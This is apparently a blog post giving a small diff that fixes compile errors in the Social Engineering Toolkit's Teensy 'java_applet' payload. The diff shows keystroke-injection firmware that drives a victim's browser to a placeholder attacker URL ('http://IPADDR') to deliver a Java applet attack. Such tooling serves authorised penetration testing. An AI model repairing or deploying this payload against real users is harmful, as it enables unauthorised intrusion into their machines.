Creative WebWelcome to Creative Web. Discover professional articles, resources, and expert updates on our official portal.

Small Patch For The SET “Java Applet” Payload

Update: This is fixed in revision 362 of the SET.

The current Social Engineering Toolkit version from SVN (Revision 359) contains a broken java_applet.pde which will result in a compiling error like:

1
teensy:20: error: expected ',' or ';' before 'void'

A small patch for this (and another) issue is this:
You can find a small patch for this (and another) issue here: (Or here in plaintext.)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Index: src/hid/java_applet.pde
===================================================================
--- src/hid/java_applet.pde (revision 359)
+++ src/hid/java_applet.pde (working copy)
@@ -13,10 +13,10 @@
#define send_enter() send_keys(KEY_ENTER, 0)
#define send_delete() send_keys(KEY_DELETE, 0)
#define send_esc() send_keys(KEY_ESC, 0)
-#define send_tab() send_keys(KEY_TAB, 0);
+#define send_tab() send_keys(KEY_TAB, 0)

-char attack_string[] = "http://IPADDR"
+char attack_string[] = "http://IPADDR";

void type_this(char *string)
{
@@ -68,7 +68,7 @@
delay(2000); // wait 2 seconds...
send_enter();
delay(3000); // wait 3 seconds
-  send_esc()
+  send_esc();
delay(3000); // wait 3 seconds
send_alt_d();
send_delete();